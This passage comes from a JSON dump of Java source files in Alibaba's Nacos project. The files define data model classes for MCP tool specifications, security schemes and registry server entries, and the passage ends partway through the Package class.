    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpToolSpecification.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Mcp Tool specification.\n *\n * @author xiweng.yy\n */\npublic class McpToolSpecification {\n\n    /**\n     * Tool specification storage type. Defaults to \"normal\" (plaintext storage).\n     * When set to \"encrypted\" (or vendor-specific like \"encrypt-kms\"), server will persist encryptData as-is\n     * and skip parsing tools/securitySchemes.\n     */\n    private String specificationType;\n\n    /**\n     * Encrypted payload and metadata when specificationType indicates encryption.\n     */\n    private EncryptObject encryptData;\n\n    private List<McpTool> tools = new LinkedList<>();\n    \n    private Map<String, McpToolMeta> toolsMeta = new HashMap<>(1);\n    \n    private List<SecurityScheme> securitySchemes = new ArrayList<>();\n\n    private Map<String, Object> extensions = new HashMap<>(1);\n    \n    public String getSpecificationType() {\n        return specificationType;\n    }\n\n    public void setSpecificationType(String specificationType) {\n        this.specificationType = specificationType;\n    }\n\n    public EncryptObject getEncryptData() {\n        return encryptData;\n    }\n\n    public void setEncryptData(EncryptObject encryptData) {\n        this.encryptData = encryptData;\n    }\n\n    public List<McpTool> getTools() {\n        return tools;\n    }\n    \n    public void setTools(List<McpTool> tools) {\n        this.tools = tools;\n    }\n    \n    public Map<String, McpToolMeta> getToolsMeta() {\n        return toolsMeta;\n    }\n    \n    public void setToolsMeta(Map<String, McpToolMeta> toolsMeta) {\n        this.toolsMeta = toolsMeta;\n    }\n\n    public List<SecurityScheme> getSecuritySchemes() {\n        return securitySchemes;\n    }\n\n    public void setSecuritySchemes(List<SecurityScheme> securitySchemes) {\n        this.securitySchemes = securitySchemes;\n    }\n\n    public Map<String, Object> getExtensions() {\n        return extensions;\n    }\n\n    public void setExtensions(Map<String, Object> extensions) {\n        this.extensions = extensions;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/SecurityScheme.java",
    "content": "package com.alibaba.nacos.api.ai.model.mcp;\n\n/**\n * SecurityScheme 表示安全认证方案的模型，包括类型、方案、位置、名称及默认凭证等信息.\n * 用于描述 API 的安全机制.\n *\n * @author xinluo\n */\npublic class SecurityScheme {\n    \n    /**\n     * ID of the security scheme. Will be used and reference by tools.\n     */\n    private String id;\n    \n    /**\n     * Type of the security scheme. Possible values are: 'http', 'apiKey', 'localEnv' or other custom extension.\n     */\n    private String type;\n    \n    /**\n     * Scheme of the security scheme. Used when {@link #type} is `http`. Possible values are: `basic` 或 `bearer`.\n     */\n    private String scheme;\n    \n    /**\n     * Location of the security scheme. Possible values are: `query`, `header`.\n     */\n    private String in;\n    \n    /**\n     * Name of the security scheme. Used when {@link #type} is `apiKey` or `localEnv`.\n     * e.g. the key name for `apiKey` or environment name for `localEnv`.\n     */\n    private String name;\n    \n    /**\n     * The default credential when leak input identity by properties. Optional.\n     */\n    private String defaultCredential;\n    \n    public String getId() {\n        return id;\n    }\n    \n    public void setId(String id) {\n        this.id = id;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getScheme() {\n        return scheme;\n    }\n    \n    public void setScheme(String scheme) {\n        this.scheme = scheme;\n    }\n    \n    public String getIn() {\n        return in;\n    }\n    \n    public void setIn(String in) {\n        this.in = in;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDefaultCredential() {\n        return defaultCredential;\n    }\n    \n    public void setDefaultCredential(String defaultCredential) {\n        this.defaultCredential = defaultCredential;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/Argument.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonSubTypes;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\n\n/**\n * Argument union for MCP registry (named | positional).\n * Aligns with components.schemas.Argument.\n *\n * @author xinluo\n */\n@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = \"type\", defaultImpl = NamedArgument.class)\n@JsonSubTypes({\n        @JsonSubTypes.Type(value = PositionalArgument.class, name = \"positional\"),\n        @JsonSubTypes.Type(value = NamedArgument.class, name = \"named\")\n})\npublic interface Argument {\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/Icon.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonCreator;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.fasterxml.jackson.annotation.JsonValue;\n\nimport java.util.List;\n\n/**\n * Icon per Icon schema:\n * An optionally-sized icon that can be displayed in a user interface.\n * Required: src (HTTPS URI). Optional: mimeType, sizes, theme.\n *\n * <p>\n * Fields align with components.schemas.Icon.\n * </p>\n *\n * @author xinluo\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class Icon {\n\n    @JsonProperty(value = \"src\", required = true)\n    private String src;\n\n    private MimeType mimeType;\n\n    private List<String> sizes;\n\n    private Theme theme;\n\n    /**\n     * Get src.\n     *\n     * @return src\n     */\n    public String getSrc() {\n        return src;\n    }\n\n    /**\n     * Set src.\n     *\n     * @param src src\n     */\n    public void setSrc(String src) {\n        this.src = src;\n    }\n\n    /**\n     * Get mime type.\n     *\n     * @return mime type\n     */\n    public MimeType getMimeType() {\n        return mimeType;\n    }\n\n    /**\n     * Set mime type.\n     *\n     * @param mimeType mime type\n     */\n    public void setMimeType(MimeType mimeType) {\n        this.mimeType = mimeType;\n    }\n\n    /**\n     * Get sizes.\n     *\n     * @return sizes\n     */\n    public List<String> getSizes() {\n        return sizes;\n    }\n\n    /**\n     * Set sizes.\n     *\n     * @param sizes sizes\n     */\n    public void setSizes(List<String> sizes) {\n        this.sizes = sizes;\n    }\n\n    /**\n     * Get theme.\n     *\n     * @return theme\n     */\n    public Theme getTheme() {\n        return theme;\n    }\n\n    /**\n     * Set theme.\n     *\n     * @param theme theme\n     */\n    public void setTheme(Theme theme) {\n        this.theme = theme;\n    }\n\n    /**\n     * Mime type enum: image/png, image/jpeg, image/jpg, image/svg+xml, image/webp.\n     * Serialized/deserialized as the lowercase string value.\n     */\n    public static enum MimeType {\n        /**\n         * PNG mime type.\n         */\n        IMAGE_PNG(\"image/png\"),\n        /**\n         * JPEG mime type.\n         */\n        IMAGE_JPEG(\"image/jpeg\"),\n        /**\n         * JPG mime type.\n         */\n        IMAGE_JPG(\"image/jpg\"),\n        /**\n         * SVG XML mime type.\n         */\n        IMAGE_SVG_XML(\"image/svg+xml\"),\n        /**\n         * WebP mime type.\n         */\n        IMAGE_WEBP(\"image/webp\");\n\n        private final String value;\n\n        /**\n         * Constructor.\n         *\n         * @param value value\n         */\n        MimeType(String value) {\n            this.value = value;\n        }\n\n        /**\n         * Get value.\n         *\n         * @return value\n         */\n        @JsonValue\n        public String getValue() {\n            return value;\n        }\n\n        /**\n         * Create from value.\n         *\n         * @param value value\n         * @return MimeType\n         */\n        @JsonCreator\n        public static MimeType fromValue(String value) {\n            for (MimeType t : MimeType.values()) {\n                if (t.value.equalsIgnoreCase(value)) {\n                    return t;\n                }\n            }\n            throw new IllegalArgumentException(\"Unknown mimeType: \" + value);\n        }\n    }\n\n    /**\n     * Theme enum: light or dark.\n     * Serialized/deserialized as the lowercase string value.\n     */\n    public static enum Theme {\n        /**\n         * Light theme.\n         */\n        LIGHT(\"light\"),\n        /**\n         * Dark theme.\n         */\n        DARK(\"dark\");\n\n        private final String value;\n\n        /**\n         * Constructor.\n         *\n         * @param value value\n         */\n        Theme(String value) {\n            this.value = value;\n        }\n\n        /**\n         * Get value.\n         *\n         * @return value\n         */\n        @JsonValue\n        public String getValue() {\n            return value;\n        }\n\n        /**\n         * Create from value.\n         *\n         * @param value value\n         * @return Theme\n         */\n        @JsonCreator\n        public static Theme fromValue(String value) {\n            for (Theme t : Theme.values()) {\n                if (t.value.equalsIgnoreCase(value)) {\n                    return t;\n                }\n            }\n            throw new IllegalArgumentException(\"Unknown theme: \" + value);\n        }\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/Input.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\n\nimport java.util.List;\n\n/**\n * Input per components.schemas.Input.\n *\n * @author xinluo\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class Input {\n    \n    private String description;\n\n    private Boolean isRequired;\n    \n    private String format;\n    \n    private String value;\n\n    private Boolean isSecret;\n    \n    private String defaultValue;\n\n    private List<String> choices;\n\n    private String placeholder;\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    public Boolean getIsRequired() {\n        return isRequired;\n    }\n\n    public void setIsRequired(Boolean isRequired) {\n        this.isRequired = isRequired;\n    }\n\n    public String getFormat() {\n        return format;\n    }\n\n    public void setFormat(String format) {\n        this.format = format;\n    }\n\n    public String getValue() {\n        return value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n\n    public Boolean getIsSecret() {\n        return isSecret;\n    }\n\n    public void setIsSecret(Boolean isSecret) {\n        this.isSecret = isSecret;\n    }\n\n    public String getDefaultValue() {\n        return defaultValue;\n    }\n\n    public void setDefaultValue(String defaultValue) {\n        this.defaultValue = defaultValue;\n    }\n\n    public List<String> getChoices() {\n        return choices;\n    }\n\n    public void setChoices(List<String> choices) {\n        this.choices = choices;\n    }\n\n    /**\n     * Get placeholder.\n     *\n     * @return placeholder\n     */\n    public String getPlaceholder() {\n        return placeholder;\n    }\n\n    /**\n     * Set placeholder.\n     *\n     * @param placeholder placeholder\n     */\n    public void setPlaceholder(String placeholder) {\n        this.placeholder = placeholder;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/InputWithVariables.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\n\nimport java.util.Map;\n\n/**\n * InputWithVariables per components.schemas.InputWithVariables.\n *\n * @author xinluo\n */\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class InputWithVariables extends Input {\n\n    private Map<String, Input> variables;\n\n    public Map<String, Input> getVariables() {\n        return variables;\n    }\n\n    public void setVariables(Map<String, Input> variables) {\n        this.variables = variables;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/KeyValueInput.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\n\n/**\n * KeyValueInput used for headers / env vars.\n *\n * @author xinluo\n */\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class KeyValueInput extends InputWithVariables {\n\n    private String name;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpErrorResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\n\n/**\n * Error response wrapper with single error string.\n *\n * @author xinluo\n */\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class McpErrorResponse {\n    private String error;\n\n    public String getError() {\n        return error;\n    }\n\n    public void setError(String error) {\n        this.error = error;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpRegistryServerDetail.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonAnyGetter;\nimport com.fasterxml.jackson.annotation.JsonAnySetter;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * McpRegistryServerDetail (renamed from ServerDetail).\n *\n * @author xinluo\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class McpRegistryServerDetail {\n\n    private String name;\n\n    private String description;\n\n    private String title;\n\n    private Repository repository;\n\n    private String version;\n\n    private String websiteUrl;\n\n    private List<Icon> icons;\n\n    @JsonProperty(\"$schema\")\n    private String schema;\n\n    private List<Package> packages;\n\n    private List<Remote> remotes;\n\n    @JsonProperty(\"_meta\")\n    private Meta meta;\n\n    @JsonInclude(JsonInclude.Include.NON_NULL)\n    public static class Meta {\n        @JsonProperty(\"io.modelcontextprotocol.registry/publisher-provided\")\n        private Map<String, Object> publisherMeta;\n\n        @JsonAnySetter\n        private Map<String, Object> extensionMeta = new HashMap<>();\n\n        public Map<String, Object> getPublisherMeta() {\n            return publisherMeta;\n        }\n\n        public void setPublisherMeta(Map<String, Object> publisherMeta) {\n            this.publisherMeta = publisherMeta;\n        }\n\n        @JsonAnyGetter\n        public Map<String, Object> getExtensionMeta() {\n            return extensionMeta;\n        }\n    }\n\n    public String getSchema() {\n        return schema;\n    }\n\n    public void setSchema(String schema) {\n        this.schema = schema;\n    }\n\n    public List<Package> getPackages() {\n        return packages;\n    }\n\n    public void setPackages(List<Package> packages) {\n        this.packages = packages;\n    }\n\n    public List<Remote> getRemotes() {\n        return remotes;\n    }\n\n    public void setRemotes(List<Remote> remotes) {\n        this.remotes = remotes;\n    }\n\n    public Meta getMeta() {\n        return meta;\n    }\n\n    public void setMeta(Meta meta) {\n        this.meta = meta;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    public String getTitle() {\n        return title;\n    }\n\n    public void setTitle(String title) {\n        this.title = title;\n    }\n\n    public Repository getRepository() {\n        return repository;\n    }\n\n    public void setRepository(Repository repository) {\n        this.repository = repository;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    public String getWebsiteUrl() {\n        return websiteUrl;\n    }\n\n    public void setWebsiteUrl(String websiteUrl) {\n        this.websiteUrl = websiteUrl;\n    }\n\n    public List<Icon> getIcons() {\n        return icons;\n    }\n\n    public void setIcons(List<Icon> icons) {\n        this.icons = icons;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpRegistryServerList.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonAlias;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.List;\n\n/**\n * McpRegistryServerList (renamed from ServerList) aligns with registry package.\n *\n * @author xinluo\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class McpRegistryServerList {\n\n    private List<ServerResponse> servers;\n\n    @JsonInclude(JsonInclude.Include.NON_NULL)\n    private Metadata metadata;\n\n    public List<ServerResponse> getServers() {\n        return servers;\n    }\n\n    public void setServers(List<ServerResponse> servers) {\n        this.servers = servers;\n    }\n\n    public Metadata getMetadata() {\n        return metadata;\n    }\n\n    public void setMetadata(Metadata metadata) {\n        this.metadata = metadata;\n    }\n\n    @JsonInclude(JsonInclude.Include.NON_NULL)\n    public static class Metadata {\n        @JsonProperty(\"nextCursor\")\n        @JsonAlias(\"next_cursor\")\n        private String nextCursor;\n\n        private Integer count;\n\n        public Metadata() {\n        }\n\n        public Metadata(String nextCursor, Integer count) {\n            this.nextCursor = nextCursor;\n            this.count = count;\n        }\n\n        public String getNextCursor() {\n            return nextCursor;\n        }\n\n        public void setNextCursor(String nextCursor) {\n            this.nextCursor = nextCursor;\n        }\n\n        public Integer getCount() {\n            return count;\n        }\n\n        public void setCount(Integer count) {\n            this.count = count;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpServerStatusEnum.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\n/**\n * McpServerStatusEnum.\n *\n * @author xinluo\n */\npublic enum McpServerStatusEnum {\n\n    /**\n     * active.\n     */\n    ACTIVE(\"active\"),\n\n    /**\n     * deleted.\n     */\n    DELETED(\"deleted\"),\n\n    /**\n     * deprecated.\n     */\n    DEPRECATED(\"deprecated\");\n\n    /**\n     * name.\n     */\n    private final String name;\n\n    McpServerStatusEnum(String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * parse string status to enum.\n     * return null if status is not valid.\n     * @param status status.\n     * @return McpServerStatusEnum.\n     */\n    public static McpServerStatusEnum parseStatus(String status) {\n        for (McpServerStatusEnum value : values()) {\n            if (value.getName().equals(status)) {\n                return value;\n            }\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/NamedArgument.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonTypeName;\n\n/**\n * NamedArgument per components.schemas.NamedArgument.\n *\n * @author xinluo\n */\n@JsonTypeName(\"named\")\n@JsonIgnoreProperties(ignoreUnknown = true)\n@JsonInclude(JsonInclude.Include.NON_NULL)\npublic class NamedArgument extends InputWithVariables implements Argument {\n\n    private String type = \"named\";\n    \n    private String name;\n\n    private Boolean isRepeated;\n\n    private String valueHint;\n\n    /**\n     * Get type.\n     *\n     * @return type\n     */\n    public String getType() {\n        return type;\n    }\n\n    /**\n     * Set type.\n     *\n     * @param type type\n     */\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    /**\n     * Get name.\n     *\n     * @return name\n     */\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * Set name.\n     *\n     * @param name name\n     */\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    /**\n     * Get is repeated flag.\n     *\n     * @return is repeated\n     */\n    public Boolean getIsRepeated() {\n        return isRepeated;\n    }\n\n    /**\n     * Set is repeated flag.\n     *\n     * @param isRepeated is repeated\n     */\n    public void setIsRepeated(Boolean isRepeated) {\n        this.isRepeated = isRepeated;\n    }\n\n    /**\n     * Get value hint.\n     *\n     * @return value hint\n     */\n    public String getValueHint() {\n        return valueHint;\n    }\n\n    /**\n     * Set value hint.\n     *\n     * @param valueHint value hint\n     */\n    public void setValueHint(String valueHint) {\n        this.valueHint = valueHint;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/OfficialMeta.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\n\n/**\n * Official metadata inside _meta.\n *\n * @author xinluo\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class OfficialMeta {\n\n    private String publishedAt;\n\n    private String updatedAt;\n\n    private Boolean isLatest;\n\n    private String status;\n\n    /**\n     * Get published at timestamp.\n     *\n     * @return published at\n     */\n    public String getPublishedAt() {\n        return publishedAt;\n    }\n\n    /**\n     * Set published at timestamp.\n     *\n     * @param publishedAt published at\n     */\n    public void setPublishedAt(String publishedAt) {\n        this.publishedAt = publishedAt;\n    }\n\n    /**\n     * Get updated at timestamp.\n     *\n     * @return updated at\n     */\n    public String getUpdatedAt() {\n        return updatedAt;\n    }\n\n    /**\n     * Set updated at timestamp.\n     *\n     * @param updatedAt updated at\n     */\n    public void setUpdatedAt(String updatedAt) {\n        this.updatedAt = updatedAt;\n    }\n\n    /**\n     * Get is latest flag.\n     *\n     * @return is latest\n     */\n    public Boolean getIsLatest() {\n        return isLatest;\n    }\n\n    /**\n     * Set is latest flag.\n     *\n     * @param isLatest is latest\n     */\n    public void setIsLatest(Boolean isLatest) {\n        this.isLatest = isLatest;\n    }\n\n    /**\n     * Get status.\n     *\n     * @return status\n     */\n    public String getStatus() {\n        return status;\n    }\n\n    /**\n     * Set status.\n     *\n     * @param status status\n     */\n    public void setStatus(String status) {\n        this.status = status;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/Package.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonSubTypes;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\n\nimport java.util.List;\n\n/**\n * Package per components.schemas.Package.\n *\n * @author xinluo\n */\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class Package {\n\n    private String registryType;\n\n    private String registryBaseUrl;\n\n    private String identifier;\n\n    private String version;\n\n    private String fileSha256;\n\n    private String runtimeHint;\n\n    private List<Argument> runtimeArguments;\n\n    private List<Argument> packageArguments;\n\n    private List<KeyValueInput> environmentVariables;\n\n    /**\n     * Transport field - required, supports multiple transport types (stdio/streamable-http/sse).\n     */\n    @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = \"type\", visible = true)\n    @JsonSubTypes({\n            @JsonSubTypes.Type(value = StdioTransport.class, name = \"stdio\"),\n            @JsonSubTypes.Type(value = StreamableHttpTransport.class, name = \"streamable-http\"),\n            @JsonSubTypes.Type(value = SseTransport.class, name = \"sse\")\n    })\n    @JsonIgnoreProperties(ignoreUnknown = true)\n    private Object transport;\n\n    /**\n     * Get registry type.\n     *\n     * @return registry type\n     */\n    public String getRegistryType() {\n        return registryType;\n    }\n\n    /**\n     * Set registry type.\n     *\n     * @param registryType registry type\n     */\n    public void setRegistryType(String registryType) {\n        this.registryType = registryType;\n    }\n\n    /**\n     * Get registry base URL.\n     *\n     * @return registry base URL\n     */\n    public String getRegistryBaseUrl() {\n        return registryBaseUrl;\n    }\n\n    /**\n     * Set registry base URL.\n     *\n     * @param registryBaseUrl registry base URL\n     */\n    public void setRegistryBaseUrl(String registryBaseUrl) {\n        this.registryBaseUrl = registryBaseUrl;\n    }\n\n    /**\n     * Get identifier.\n     *\n     * @return identifier\n     */\n    public String getIdentifier() {\n        return identifier;\n    }\n\n    /**\n     * Set identifier.\n     *\n     * @param identifier identifier\n     */\n    public void setIdentifier(String identifier) {\n        this.identifier = identifier;\n    }\n\n    /**\n     * Get version.\n     *\n     * @return version\n     */\n    public String 